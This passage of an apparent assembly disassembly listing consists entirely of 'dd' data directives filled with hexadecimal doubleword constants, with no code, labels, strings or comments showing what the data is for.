90022F6Ah, 1A2D7AF9h, 63C2FF3Bh, 0FD05EF54h dd 37B6908Bh, 15ECE6E0h, 5A4E8E03h, 8A6638BFh, 0E8587626h dd 6027E2Ch, 0EB699B99h, 9CAFC98h, 0AD567FE9h, 8427DE70h dd 3862CFADh, 70F753F4h, 7C13C6A6h, 6BBED8C0h, 4142392h dd 0B290F5F7h, 970075E8h, 0DF7FBC4Bh, 12E1905h, 0C60B6867h dd 20F6AA4Fh, 0E09650DAh, 905BD904h, 858225FDh, 65572B61h dd 950102D5h, 13DE0AB5h, 739AEC89h, 84242113h, 0AE1FCDB5h dd 9556C7CBh, 19778BB0h, 0DBF376C1h, 8536FF6Ah, 0D0D7C9F0h dd 0BF1C630Bh, 571A85D8h, 4997C81h, 0F77A7Eh, 0D3150BEDh dd 984B8F5Eh, 0D970096Eh, 287360BEh, 51C8E717h, 0B0AD4A5Bh dd 0DE04C382h, 0E629A3D4h, 0AAB561C3h, 71E40203h, 493CD455h dd 0C345255Ah, 315FE56Bh, 0D5A62BA7h, 552A5048h, 138295B9h dd 0F5CEEB3h, 2B0DE2Fh, 0D18BFFBFh, 169A7B55h, 955D0EF8h dd 168DB519h, 53A6F788h, 6E4C1CE5h, 81B709C1h, 2A54F957h dd 28595B9h, 0B530FA51h, 40E19D29h, 22D05B16h, 82B05FE1h dd 2E5F8123h, 0F88A0D71h, 5BA99DF8h, 2BBE9908h, 0A1810D34h dd 0EB219141h, 0E38E817Bh, 16222E38h, 88BF212Bh, 2E20DDDAh dd 68BC1764h, 0E1221480h, 0A3143EB3h, 4B739589h, 0B095DE8h dd 75E2B1BDh, 48C30F56h, 0DBBEE49Ch, 0E292C1D0h, 9B2A6AB5h dd 0BACEC0ABh, 4CF4DFA8h, 422D5B9h, 0CFDA98A3h, 699D4DFFh dd 3100B9FBh, 9ECFDC36h, 0B6544B4Ah, 8ABF40A5h, 10B1907h dd 16EDC3B9h, 0D16E02Bh, 48205081h, 0FE48EB89h, 33797E1h dd 0DB9E6E83h, 0D98F883Ch, 0FC5C277Bh, 0B0A79D13h, 6A6E0A80h dd 0F6793701h, 5213AF42h, 40DACD3Fh, 0D22BF972h, 12DC12BCh dd 9F2645Ah, 0C45FEA14h, 594D95EEh, 420F59Ch, 0C7D2A2BBh dd 0B9A7AF4Eh, 2C9641E1h, 30268080h, 119F5Ah, 0D46A0D35h dd 84D9D89h, 1730CE9Dh, 0FA81CF80h, 3BB65474h, 43471AA0h dd 186A7901h, 0BEC81737h, 0D261CB2Ah, 886AAAh, 36A1D62Bh dd 27FA874Ch, 0A470A01Fh, 425383E6h, 0C0630084h, 69986AF9h dd 51AE045Ah, 0B857D380h, 6C59A223h, 0E60A4A6Dh, 0C0985870h dd 98D1CF35h, 0E05300F6h, 67C4C45h, 7702032Ch, 8AB39181h dd 0FF3AD55Bh, 1D42DF6h, 5945C7AEh, 16A1847h, 0E1122099h dd 318D2240h, 202D1C97h, 605A04EBh, 800427E3h, 0B8618BECh dd 80EEA214h, 8AE18118h, 0B0B85ABDh, 1E416136h, 5A7271D3h dd 8CE3A30Eh, 2814397h, 1EBB30DBh, 21026058h, 42BC5626h dd 4AFF68B3h, 3F1A7806h, 0B3CA399Dh, 0DDB02508h, 7D479FCFh dd 6330CBC7h, 97E83F26h, 12D30BF1h, 0BB5BF992h, 1823886Bh dd 0CAE3C801h, 8141E835h, 0EB2E34B5h, 0FF85E130h, 0D803093Fh dd 9F5B3D80h, 0D641A4h dd 92917032h, 8B516090h, 0FD5AC626h, 5E70BBE0h, 90500961h dd 72D4BDB3h, 689DE198h, 6D4805C2h, 815250E8h, 2FE39F15h dd 0A748BE97h, 882F4644h, 259EF36Ah, 1810584h, 17B1BB3Dh dd 7FF02F66h, 0DC04A7FAh, 0F30A0FCEh, 0FFC2C7E1h, 0E2702745h dd 0D2E0024Ah, 8E19A5D1h, 9140AD56h, 0F2A8D7h, 1EBCDC7Dh dd 0FD023D8Bh, 69BD7E00h, 605027B5h, 5BBF3989h, 0B399F92h dd 35FDFE16h, 381A9C42h, 138E0042h, 0F8A24C03h, 70E91214h dd 0A4E1E702h, 93BEE9BAh, 1D9071EAh, 0F6AE042Ch, 0A671A44Ch dd 6CF090B3h, 128CE4A1h, 0B3DA8A9Ch, 53A25A89h, 0C20EEAA8h dd 492E1EE9h, 0EF98F745h, 0FA5E8BFCh, 0BFD640F8h, 281CB04h dd 0BC4FFDBFh, 0A23202E5h, 870840EEh, 20C8045Dh, 3BF38101h dd 704AD5FDh, 5B4AB35Eh, 12AADBECh, 0B70ED32Fh, 98B012E2h dd 0FFB4E8Bh, 0C4D6A7A7h, 0B85DED1Bh, 0E8555F2Ah, 1F3EAE67h dd 60F7A80h, 87EB6E8Dh, 60BB604Ah, 0A4B4CB96h, 2D79614Dh dd 0E4825910h, 11C5400Ah, 4A8DDE3h, 0E8A9AFD8h, 6465ABDCh dd 4DAB54ABh, 0D6584B49h, 0B694A48h, 0DA0E705Fh, 0F746222Fh dd 0CF85D200h, 0F6ADE321h, 0F5DD021Eh, 9B9D971Bh, 55AC09DDh dd 0BF31FEA1h, 43DBD0CFh, 0CE585A38h, 0AD28BC6Eh, 1C1775E4h dd 2D5DBD23h, 0C0E9547Eh, 0CF615BA1h, 0A617DAE8h, 0B3AFE019h dd 390901ACh, 9589E86Fh, 7BFEDEF5h, 0FCF771C0h, 421A0072h dd 0EF3FBBEBh, 0A816528Fh, 2AEBED27h, 3DC580A4h, 0F133086Ch dd 0AC80363Ch, 7F58F1A3h, 737E5B00h, 0B5D6F54h, 2AC90E25h dd 497C491h, 0BF2DDD65h, 0DF804BA9h, 79E85CB3h, 5582D125h dd 0C7D61F18h, 5B1F7D2Dh, 1817D9C3h, 0D3890964h, 1359F8F2h dd 130E3147h, 1CD6FEEh, 2703DCCAh, 79CEE99Eh, 0E4509A3h dd 5FEB30DCh, 0DEF26F35h, 6AF0C085h, 890088D9h, 82CE791Fh dd 12A9BFFEh, 6F7E5EB3h, 0D0EE28B2h, 85C0C8BCh, 7EBD2B38h dd 91F19579h, 90457C2h, 8DF4B057h, 0E31E5AF9h, 193E8ABAh dd 25117827h, 125BEAB5h, 7CAD98DBh, 2F060391h, 0BD8D0166h dd 0C431B99Ch, 0BCAF5153h, 245B8EAAh, 0D2BC840Fh, 2B53B0A7h dd 0C17345FFh, 79111B00h, 0E726838h, 8D58123Fh, 3EE6B180h dd 0AB060A7h, 0D8906E62h, 0CE1DF925h, 0BB500271h, 7B484EB2h dd 7B5753CAh, 0B0327231h, 642578F6h, 73ED9D52h, 120845E0h dd 9F2104B3h, 0B23D5A9Eh, 0A7007AE1h, 94D76D4Dh, 17CE4EAh dd 0BA0BFCFEh, 6B3A4243h, 674CCCA3h, 0EA020116h, 95EC2C29h dd 0B2104AA9h, 0B0A6D3F5h, 1DDDF6A0h, 96D883Fh, 8B3656A7h dd 0AD46DE1Ah, 0B85691E2h, 0D682B362h, 1946D6DAh, 0F43A0801h dd 21F1756Ah, 0ABA82A89h, 0A6C28316h, 0BBEDF05Ch, 49C4B529h dd 3D78FCB3h, 9540265h, 0B2BFF11h, 9D8AFE5Fh, 2FA5898Bh dd 0B78BB773h, 554B5C56h, 0AF654606h, 1C2D2764h, 1CF9FFF1h dd 0E004E18h, 217E9903h, 9049857Ch, 0CA6AE927h, 0DA313FADh dd 6B5E61E9h, 1F1C2379h, 50F0588Dh, 5043FF1h, 859D89B9h dd 608139D2h, 0E1A31048h, 44103428h, 0C2DAD3CEh, 184C2181h dd 0C165D179h, 6E92CE31h, 0E86D9656h, 0E33B0CDDh, 0A71B8816h dd 963247Eh, 8D538D85h, 941534BFh, 4DD40BCDh, 74B587D6h dd 0C0529EBEh, 1AB31D96h, 0AB3A97F9h, 0FD410FCh, 0A62612ADh dd 0CD75F7E0h, 0E0993D3Bh, 3CB880BBh, 7DA6EDEBh, 9C810068h dd 3002CEF9h, 4234D426h, 7BBFD1D5h, 0F2D2002Eh, 6EA5D4CFh dd 96311493h, 7816F837h, 0D16DB90Ah, 80F3AD97h, 4B518366h dd 2DF98A5Bh, 0D850F362h, 0B32583B5h, 1DB57D5Ch, 86601D12h dd 711B1Fh, 0D93A7796h, 0F8EF2378h, 0C636C1BDh, 0BC23D82Fh dd 69634B00h, 0FE41F5E3h, 0D01412EFh, 0D344F386h, 0D080EADAh dd 6B3BF6B0h, 3168EC02h, 0B0945BDh, 9EB06DF1h, 4A90E9FFh dd 9F9BEFF2h, 0B755ECC2h, 295528E2h, 2DF10236h, 0B98B0707h dd 60946579h, 346518B6h, 38B7FC0Fh, 0A6CA6133h, 59AD4B11h dd 0C906B1B8h, 5FDF793Eh, 0BB294B42h, 52AD7956h, 0B40022E8h dd 1F889FFBh, 60FE256Eh, 382FD4EBh, 8A250619h, 5E71E2DAh dd 8050DCBBh, 2540A599h, 0C6BB0790h, 0F01BB5ACh, 5F5CB960h dd 52180D01h, 5E10BA66h, 2F9061C4h, 2DE5800Fh, 0A1225400h dd 10F3BCAh, 412E8BB1h, 2E4623C1h, 9DD05D1h, 12018948h dd 0B81B799Dh, 0E59AB50Ah, 5AF5A8D3h, 169C1C8h, 0CAE0D2A9h dd 0E0383034h, 0EB125B3Ah, 8EF3E412h, 0ACE6815Eh, 40F42FC8h dd 9EBF04D1h, 0BC5E26E6h, 77AAA24Fh, 41608DEFh, 1897C623h dd 7D95C29Eh, 6A24D425h, 7DDE1102h, 0ED57090h, 1E7EECC1h dd 0BCF522C7h, 0E3A2DACEh, 6BE4CC5Fh, 73440E61h, 0CBFA9B00h dd 305E1AE6h, 6254F22h, 31D98A19h, 20BF4CC2h, 6FE5DDCCh dd 0F7E5DD52h, 0F2EF8912h, 71AA2571h, 3839C265h, 2D09220Ah dd 1EED772Ch, 0C0EAD8E0h, 9ADE2586h, 278745EEh, 0B8B7CE0h dd 489F27BBh, 31216C6h, 764AB59Dh, 501DA690h, 30F6F812h dd 8A10A350h, 0AD404174h, 2F6857FFh, 485CD81Bh, 70FA4B3Ah dd 2691BDD8h, 1137FD97h, 22601912h, 1780BED1h, 0FC7A65A3h dd 8D010651h, 0C25417E5h, 0FF6AFB82h, 308146E0h, 0E152D84h dd 4F447E59h, 0D355C853h, 0AF5FA700h, 6071BDD6h, 0F68800E0h dd 8A90FC3h, 4891E2A6h, 61B76B82h, 1A905DDCh, 0B05A5B5Fh dd 34004EA3h, 278B586Dh, 0B0385D6h, 0A449C6EDh, 0AAE08872h dd 89251641h, 9E5E99Dh, 370E65Bh, 10735963h, 0C085D1Ah dd 125771E4h, 5F1040B9h, 0EB3AA497h, 4DB5C55Fh, 9FD8EF07h dd 4E034357h, 694484CDh, 0A8753FAh, 17AA6042h, 0C54C00F1h dd 95316139h, 0E412ED25h, 0FE90BD56h, 3800872Ah, 0D5926D76h dd 0F025D80Eh, 0BAEF0B84h, 0A9DF16DFh, 976D7025h, 2B4510F7h dd 0D38103C8h, 4DDBFB93h, 0DE90D1F3h, 4DA086E9h, 16446995h dd 6660B585h, 3C09BF49h, 5C4A56B6h, 0C9EB4165h, 2538162Bh dd 65710275h, 310F1191h, 0FE95FDB5h, 62505124h, 0B9D52405h dd 0A27A09C2h, 0F0A15AC0h, 0F85A122Eh, 0ECA5DE44h, 0BE82256h dd 25083E1Eh, 513DA800h, 98CB1C6Ch, 0A2F96471h, 5B614601h dd 126F8310h, 0F233A98Ch, 0AC0B8462h, 0C4903016h, 5300D9F7h dd 0ED90F2CDh, 2D19D0ADh, 0FCF36A03h, 0C94AE778h, 4A79D9EAh dd 82DB8080h, 0B51037B9h, 0A341ECEFh, 357057CAh, 85074121h dd 18DD8DFAh, 1D6D25ABh, 0FB1212DBh, 0AD4BCCh, 2132AAB3h dd 780E3568h, 759A3E00h, 0EFE31BA1h, 274A16A3h, 590AF0FCh dd 4AB85438h, 0A6ECC6A9h, 496C0C0Bh, 617F5652h, 1E01719Dh dd 0D1B03746h, 6732A53Fh, 526564A9h, 4F15EC0Ah, 0E86AFD26h dd 5FFA18C7h, 24A94A98h, 97BCB380h, 0E4556E92h, 0C1F800FBh dd 0D1B08134h, 2728DAFBh, 5520D74Fh, 125F7702h, 0F73075B5h dd 90BC5B59h, 6EC0C7h, 94CA40A0h, 3FFCB901h, 51617644h dd 8317DC2Eh, 2CBFF89Dh, 0F6081055h, 0C79DAB02h, 75F4534Ah dd 735C4342h, 429ED56h, 407B2D00h, 0A6545CDFh, 0C6AB3602h dd 826CECEFh, 405019Bh, 0FB05FE5Bh, 80211345h, 610215BDh dd 72515F5Eh, 0C4C09E7Ah, 6580B758h, 92D1F70Ah, 8B3DBD67h dd 33F1AC80h, 0BF8D0F78h, 544B464h, 0AEC00482h, 0AE2B341Fh dd 955BDAF4h, 0A121D1CEh, 9891E34h, 78790D7Dh, 97A1F5C6h dd 0AE262705h, 0FD34DCCEh, 0E09BAB26h, 0CCE001DFh, 2EC53ADBh dd 0E26412BBh, 96958E84h dd 2EE988BDh, 2E4A4544h, 206AC2FAh, 0B9ED060Bh, 0F660580Dh dd 0AC15BAC0h, 3A005B8Bh, 7DC95E45h, 7ABF4E1h, 605F12DCh dd 0BD7839CEh, 831F37BFh, 962ADCE3h, 0DD5EAEE2h, 0C0B6CD27h dd 72C9DD8Ah, 0ED04A54Ah, 0F9BDEB4Ch, 0DE016C12h, 20098E1Ch dd 0B94A35BCh, 7A22989Bh, 3553959Dh, 4C181579h, 660960E2h dd 7FCEBBB9h, 0D8719989h, 51DF8084h, 0BB0398EEh, 0EA638900h dd 4EBF5035h, 418F2D96h, 27DEBBFCh, 0C105DF16h, 0F96FBA6Ah dd 31B9E000h, 36410DCh, 54BD9D25h, 0D88B7852h, 0DF755073h dd 5FDE4BDDh, 529498E7h, 8F9800B0h, 0C6EAAE65h, 0E02CF448h dd 184B3ADCh, 702B4Ah, 30F956B0h, 3DAF0CB7h, 0FACE5E60h dd 2E2B585Bh, 0A5D19DBDh, 279FB575h, 33163330h, 17E59709h dd 0E2F966h, 0CBDD2CA8h, 899FE753h, 11B555DCh, 758B1491h dd 240B7F0h, 0A2549D8Bh, 129E984h, 4B7D46C8h, 0C8B5DB31h dd 163C114h, 2A1EC585h, 0A24F29E7h, 4E6C0076h, 4F44C128h dd 862000B8h, 5FDD983Eh, 624B6145h, 7980C7CCh, 989A97EBh dd 0B6D4E6D7h, 198427DFh, 6B80F179h, 9DB414B6h, 89E82B6Fh dd 0C494F996h, 80BDD676h, 4699D2Fh, 805A3C50h, 67A3BA6Bh dd 0AB213B07h, 85377C9Eh, 0E0381B88h, 0BD38010Ah, 0BFB65A2Dh dd 0F83015F2h, 8531155Fh, 6800E261h, 0DEDA789Ah, 0EA13EEBFh dd 77B01AA5h, 5969065h, 0B1852921h, 0A1B6A40Fh, 2DD2B4Bh dd 0DF121998h, 0ACB457B3h, 86028924h, 0D511B4C5h, 105988B8h dd 4BB77D8Ah, 67CC5625h, 6136612Ah, 2E6FED80h, 0A66BA82Dh dd 0FC8A818Ch, 7DC23FE9h, 2700BD3Dh, 0E72C2AB2h, 95049AB7h dd 7BD2829Dh, 2BDE5040h, 3F01D871h, 7F136A22h, 0C13051ECh dd 5B0740A1h, 0AD257890h, 0E5EC710h, 0BE12045Ch, 0D480DB9Bh dd 974BF0CAh, 368ECD1Eh, 5B282864h, 697C9C95h, 5B7F6E25h dd 0F1777808h, 6F0131B0h, 0CE0AE012h, 35100BE8h, 86002BACh dd 78802DC7h, 16233C30h, 57E19501h, 93FBFD01h, 550E5449h dd 0B59D9796h, 0FE470055h, 0EC9E1995h, 21962D77h, 0A9EB2444h dd 666F1310h, 0BB0017AFh, 0D5FB8762h, 1691B2B5h, 0BE178A85h dd 23C987C1h, 0EFBB9600h, 68F0C524h, 0F38B6007h, 0ECAF5244h dd 9661A1F8h, 53B88439h, 800FD917h, 0D0BF4F20h, 27752B68h dd 0E3F512B7h, 17893BBAh, 28BF09E5h, 0F922850Ch, 1DBD210Fh dd 0D3C48609h, 96E8DB9Bh, 0CC5E1B6Ch, 1BB2B7A6h, 2E83130h dd 2CDE40F4h, 44D7993Bh, 6375000Dh, 435F2B73h, 0BB008391h dd 956A9457h, 4B6548ADh, 0BD7D84B1h, 0B8DCB84Fh, 0D9769D68h dd 0ED7F6225h, 0FBF7C0BBh, 7A3E92F0h, 6CF9CE8Dh, 0EE5D8789h dd 35F90084h, 1384DC65h, 620214D1h, 4DB50988h, 65CE7725h dd 13CDBB5h, 317E6FDBh, 30AAA628h, 0C46B00DEh, 0DFA7538Bh dd 0A83C277Dh, 7CD827A2h, 2AB9E26Fh, 0D4EB715Ch, 509609D9h dd 8F3ED079h, 605BD74Ah, 0E266F1A9h, 0F4040001h, 6AD8FD4Ch dd 0CE07BF52h, 5F3DA092h, 15B99615h, 43B83DB8h, 6BA351BFh dd 316038F4h, 971CCD8Dh, 4DB53216h, 0A72A4009h, 76753F0Ch dd 0A3884824h, 0F6130D09h, 8A1BC07Bh, 0FE2A3946h, 0FD959E97h dd 0AB5F5985h, 6AAE8575h, 98F53F2Bh, 9558F9D9h, 0C71C9702h dd 7EBF2A44h, 0E9474F37h, 930717B3h, 54F6B856h, 45A09AE1h dd 89C1DFA4h, 31D3738Ah, 4A1705CCh, 0A3C24BD3h, 0E76D5510h dd 0EF6318E4h, 0B4C04898h, 22F170C4h, 179AB717h, 79BFF9DFh dd 6CE63B17h, 0E3F93BA0h, 4CB68537h, 8D018908h, 95C5787Fh dd 9CD48ADEh, 30DFC971h, 4BF7982Bh, 592924Dh, 7CFB0320h dd 0A3B14B27h, 91CB4AAAh, 13FE8540h, 0BAF36EE9h, 0AEF059B6h dd 0CD5832DEh, 1E9D1149h, 2BD1BD09h, 0F12D79D7h, 4B23614h dd 0C58D2984h, 0A5EB50AEh, 0E6194616h, 0CA0F0E2h, 3D080B26h dd 3A19E071h, 28A0208Eh, 0FB3B6605h, 0EFBA74h, 244BEBFh dd 892C2AFEh, 584A798Dh, 0AB25BD0Ah, 0C456484Bh, 756FBD73h dd 0E96C7D49h, 75B50309h, 0BAD9D72Ch, 0C095378Fh, 92254A69h dd 0B270125Dh, 0C212CD8Dh, 0F9743875h, 28960E08h, 0B8409179h dd 0AD82975Ah, 0A3867F0Eh, 0EA2C8453h, 0B74A88A9h, 0B3BEA4ECh dd 0B5890446h, 0EB8819A1h, 91B386D9h, 0FAE92A58h, 0D23C0CDFh dd 0D5E7173h, 18AFB199h, 1C08B4Eh, 5C15F4EBh, 0C0FAC2AFh dd 660067B0h, 0C7888779h, 1E81D82h, 0D0CD4EAAh, 0C82DA28Bh dd 5600193Bh, 0DBD3F8F7h, 647875h, 4DD1B549h, 62E58C1Fh dd 0DF34E0Fh, 9CD9E057h, 0FB9D96h, 0F6895201h, 0AE3AB758h dd 0B888F900h, 9BD398Ah, 4103A6Dh, 9BA0ACh, 83696A3Ah dd 363F6B65h, 0DAA60077h, 828F4DD8h, 0F54F005Eh, 26758D76h dd 1B00D65Ch, 0D447D5B2h, 0E82EB7FDh, 0DCF00ABh, 0A42D6832h dd 0D3198F48h, 370818ACh, 2A6B2180h, 8EA76668h, 5F5070Fh dd 0E297203Dh, 284E5B3Eh, 8C61A4h, 64A0DA39h, 0D5BFDFF0h dd 0FE59EA1Dh, 408318B0h, 0C1D4032Dh, 0A8BC7ECFh, 8B0010A6h dd 222FEE2Ah, 0EED8092Bh, 0B208CC13h, 0EEFAE821h, 33D5E224h dd 0B7428C3Ch, 0CB992Bh, 344CDA64h, 9F87CD0Ah, 96F53301h dd 0E3AA11A8h, 0B12D1443h, 50BCD526h, 31A05806h, 0D33C2086h dd 0E80E0F1Eh, 19B883ADh, 3E19088Bh, 5A0926A8h, 0CEA600FEh dd 0C08245B8h, 0BA6B5F20h, 8D1EB4D9h, 429FDDC8h, 0B10EF480h dd 0BCFD2Fh, 12484C15h, 4E0B663h, 94EBF500h, 95794188h dd 3952007Ch, 0AE5D1CC3h, 0CC00D94Ch, 3B22D1B2h, 7C041D3Ah dd 1CC50049h, 0BF9175DAh, 2A006584h, 0BD128573h, 0F4EEA020h dd 0F902047Fh, 87A4C2C1h, 3252C00Eh, 58C71D45h, 1A20E744h dd 6FB442A7h, 0F98050BBh, 5164F1EAh, 0CC2AE900h, 0E1AFAE4Eh dd 0D9461D95h, 5D88F074h, 4B7441BDh, 670B0580h, 813740AFh dd 805E0497h, 6087DA1h, 0C02D476h, 0F2DC20E1h, 21CE4808h dd 6091Fh, 0A37AFE10h, 0CA2B00C8h, 284BD676h, 0B40C491Eh dd 31560555h, 6CFE00FBh, 0B744EF17h, 0FD3C8C38h, 693B804Ah dd 18CD159Ch, 0B56F18C5h, 9ECED1B1h, 3706DF00h, 2F594099h dd 0C808CC81h, 9600F121h, 97630FDFh, 1D9E09C2h, 0D048CE90h dd 80AE3CD6h, 0D5D040DBh, 8C19E6h, 4E3F988Dh, 2E2DF7D7h dd 6995A000h, 7968C4BDh, 222C2AACh, 5992008Ch, 408DF511h dd 0DC0A4606h, 1043BD71h, 93B79D00h, 0E410B7Ch, 3B15CD39h dd 0B4188D81h, 77A181B6h, 56A5B21Dh, 146C5E80h, 0AD6B5544h dd 3CA0CA15h, 0F2D43C8Ch, 46982950h, 0E154DD00h, 0C244A958h dd 649C03C3h, 0DFA1CA97h, 3374310Ah, 2C9CB084h, 2BBF9170h dd 0AF4F0064h, 540AD4F0h, 9E014CB3h, 0B585346Bh, 0ECF81CA7h dd 0BC0424D1h, 765E0104h, 0FFD4B14Eh, 6FDE1007h, 0C04A2BC0h dd 0F57ABD40h, 55E706DCh, 88391E67h, 1E3B6344h, 7ACC032Fh dd 101B488Ch, 0D001A5B0h, 5B30EE7Fh, 0C457C666h, 84BC1B72h dd 9C606DF0h, 372304DFh, 0EFC43F89h, 3C009448h, 0C69CC1Eh dd 0F8493863h, 0E22B05A4h, 40212C86h, 5513E180h, 0D000EF15h dd 4464D96Bh, 7A948B4h, 22DCF7A4h, 0AE4620E5h, 403BE15Ch dd 47B06075h, 2C2C6F92h, 0F6C6C1Eh, 0C1C2DEE4h, 9B602865h dd 0F66041D1h, 0D33BD040h, 0EE58C066h, 0C097DEEBh, 39F90F03h dd 995D8605h, 91801F2Dh, 9A71023Ch, 0D20C21A5h, 8199DC1h dd 6321C031h, 3DEC710Ah, 9246BC90h, 7B060D02h, 1C2AD4h dd 0ED06051Ah, 3A7F14B7h dd 501839F4h, 0A7D057C9h, 40C8A09Eh, 0C8C77816h, 6C00198h dd 0F7A59E71h, 5F883218h, 2171010Eh, 47BD6F3Ch, 2B198528h dd 0CC42B4DBh, 0A04550B7h, 85DC82A0h, 0D4E00570h, 547AC3Bh dd 0FCD94ED0h, 9A2203CCh, 1B2C9033h, 50899118h, 0CBE82010h dd 1A1DF884h, 0A15B4361h, 2022960Bh, 9E7AE500h, 79904C0Ch dd 6044B219h, 2180DF08h, 0E59E7283h, 4B006E40h, 524DCB3Ah dd 1FA73B65h, 8A70ADA6h, 9188C24Ch, 71038004h, 8729A59Bh dd 710B6200h, 72723E67h, 6CF206BDh, 0B024B863h, 84B13A09h dd 0A5F0AFB9h, 0E818B3C1h, 80D72C18h, 2E006ED6h, 0ED99F510h dd 3FE30Eh, 0BC095C92h, 0A2C67CFh, 126CD300h, 0C5DA6FAh dd 7EB00028h, 0AD7157B4h, 0DD00BB17h, 5FC68CA7h, 1D4B9F07h dd 0C026B095h, 0A5DF7C59h, 0F73AD850h, 6B20614Ch, 0C2F44431h dd 9BEB0CD4h, 38081CCAh, 298821C0h, 72A1E44h, 0C6AE82A0h dd 498BC067h, 0EE6072DDh, 969F09CAh, 22841C5Bh, 951B4066h dd 4F0ECC4Bh, 47E57C03h, 1F5C4C27h, 0DFC250h, 825E3787h dd 0F9017D02h, 0AD109519h, 97C847CCh, 208D60EAh, 20386B07h dd 0C420D453h, 0C461FC8Ah, 4DCBC3A8h, 80C5C13Ah, 0D57DC06Eh dd 20B6160Bh, 98C009EFh, 1F204B71h, 3080E998h, 0CF9D73BFh dd 0D8988716h, 83091E66h, 7B5F0021h, 0F985039Dh, 0C100657Eh dd 0B6407673h, 0C01A1FC6h, 0C7833E58h, 1230F75Ch, 9B5FA880h dd 1ADC3A40h, 0D06486Eh, 0A905A146h, 0B8423CD3h, 4BB6A804h dd 0D2E03059h, 78819D07h, 118004B8h, 310C7CE7h, 670C637Eh dd 85B865Ch, 0C821C019h, 7F40C44h, 97420D06h, 2A88B1F2h dd 0CFCCB1Eh, 0E5BBBE10h, 0B4F096B0h, 87524B00h, 8AE79ACCh dd 69A41435h, 29239009h, 0D09D7001h, 8B188F16h, 7785488h dd 0D08C8D9Dh, 0BA12D19Ah, 1008205Ch, 51C8A06Fh, 350C4080h dd 448C437Eh, 4860C40Dh, 94E537E8h, 0C896004Dh, 9AF949CAh dd 7C126546h, 38400A02h, 1A50E5A9h, 8B613D0Bh, 0BEB691E0h dd 0E8CB08CBh, 0B82788D3h, 90082C12h, 0FEB88C7Ah, 39009371h dd 98CB1F63h, 0ECE7EC0h, 0D0ABC475h, 0BC8CA80h, 60CA4D99h dd 1682A47Ah, 0DC63CEh, 658E9A7Dh, 3001E0A3h, 407F9308h dd 0E44CC1DFh, 42048C76h, 737E370Ch, 0CA201862h, 12A0C4Ah dd 0E5E3DAD5h, 8734129Ah, 52931F60h, 8871C83Ch, 0E3A6D3Eh dd 67860332h, 225C5049h, 0E5586120h, 5D43184Fh, 24E74C10h dd 0C8446h, 50D1C47Ch, 89069E06h, 2344073Ah, 704B0E29h dd 0DB60D8D0h, 0D347BBB3h, 6908CB66h, 0E2197F21h, 3FD60141h dd 368FC22Ch, 6C589798h, 0A2BA3000h, 1FEC612h, 0DB49849Ch dd 0BC352A8Ah, 0B8FB9DC8h, 9846F130h, 62377755h, 902A487Eh dd 0EC21D005h, 3044D6Bh, 0A786A9CCh, 70051799h, 0F260DFFAh dd 722E6C49h, 307B82Fh, 0A2A95E93h, 1B80CA70h, 0B8D252C3h dd 0C2D68408h, 54C1442Bh, 22843624h, 238A0536h, 80201D44h dd 8BB6101Dh, 0DB0A2C92h, 0FC30BE9Ah, 7D0C4259h, 0EC41508Ch dd 0FC58FF7Eh, 49C5881Bh, 1EBC0C09h, 58642088h, 51C659h dd 0D116F769h, 36977913h, 75016398h, 0A64DEB15h, 0B8D16787h dd 50C01AC0h, 8CDA7450h, 42443704h, 3362C4C2h, 442F8620h dd 0E3C60B8Bh, 8F04FB22h, 1080942Bh, 8A1AC4D4h, 1041997Fh dd 8721823h, 7F16CE9Dh, 5E4086C4h, 6EC29D7Ah, 0E6A2BB02h dd 486D2217h, 0FD0A24h, 1D251AFh, 33CA940Ch, 0F348F404h dd 558095BAh, 0AD820C0h, 4A3A1EA9h, 9E2E1140h, 16D19D42h dd 409C3397h, 29D7955h, 0DA70FFEh, 5382DDB2h, 94841D06h dd 443560D4h, 34C22340h, 8C0E3711h, 0C507442Dh, 21205ACh dd 0AEAFCB1Ch, 0BB2A784Ch, 0AA3EECFFh, 0B3A900B1h, 30F46378h dd 0D978C8CFh, 7D4436C0h, 22CC46C2h, 2E89002Fh, 4EA44A44h dd 0E502AA13h, 0C68E1F9Ch, 2C704190h, 58829A4h, 85B6B02Eh dd 0D05402A8h, 4C41F7EFh, 9D0214CFh, 61B45F93h, 82142714h dd 0CE304E00h, 0DB7211D8h, 807788C3h, 3D8D613h, 0CDB05DA0h dd 0FDCCF104h, 488132F6h, 98892D48h, 0BC1F50FFh, 0F9823711h dd 0FD8131DDh, 0B80AE153h, 13E5C4B0h, 233E0E72h, 0ADC5E8Ch dd 4A916836h, 6ED8D280h, 448CA3DBh, 0DA001F74h, 8EC085D8h dd 10C642h, 0D36326AEh, 72189C36h, 3C88F949h, 436620FCh dd 12D23B7h, 16CC9D74h, 898A186Fh, 4A9DEC58h, 1522981Bh dd 94680081h, 0B01031BEh, 826C7B0Bh, 55F6E030h, 584EA45Ch dd 0BD00E39Eh, 0AAE005ECh, 0D8B00054h, 0C5BCD575h, 5352D341h dd 468208A8h, 7B0F003Bh, 0BEA8A7E0h, 7811B726h, 311A7A84h dd 97817E0Fh, 703250BFh, 0B50012C8h, 0D3950E20h, 675DA7Dh dd 0D68A5D98h, 0B0703038h, 991E9300h, 0D757595Ah, 10BECCCh dd 824E9656h, 8326EE2Ah, 78E7BE40h, 0DC581C4Fh, 0ABB47CCh dd 0CE28B5E8h, 0C00E8824h, 9FA6B3Ah, 100A4303h, 40BFBCEh dd 8E92E5D0h, 44F60548h, 0BA5B9840h, 7B3941Fh, 87B89034h dd 50B69E23h, 1681F844h, 0BA0CE7AEh, 9C7A0848h, 1A0C2C7Eh dd 0DC6019B7h, 27804D52h, 80D0914Ch, 0D3299C31h, 0DB3A2A54h dd 0D65F8248h, 67DF7CB6h, 602F44DCh, 73A5F9Ch, 0C93D1BB2h dd 0F8045999h, 0C17D4005h, 25AE47D0h, 0E03D8B35h, 44BB3608h dd 20426BD2h, 99FC7511h, 2818D7F8h, 0C223447Ch, 32111Ch dd 8C44208Bh, 90555F2h, 3A833C40h, 81E4EC45h, 0BF908363h dd 7500304Eh, 102DE5FBh, 671E330Bh, 7470298Ch, 0E2CCA562h dd 301E0498h, 6D07EC94h, 5FD77D71h, 423D26F0h, 74C9005Dh dd 8CF139ABh, 0D0000E93h, 0C7F69CB3h, 0F0B8D1h, 951C410h dd 0E169E22Bh, 0B3E40370h, 0BE815700h, 4A1E903Dh, 713200BAh dd 4CA21710h, 8673EF38h, 318CD405h, 9500955Ah, 0FB5E42D7h dd 1865008Ah, 5F3767B5h, 4A0049BEh, 0D5814730h, 5CD96B10h dd 4600465Bh, 0E9443B04h, 793E7576h, 8B8D0024h, 60B381ECh dd 4F51017Dh, 0E2D2BE13h, 88C860DFh, 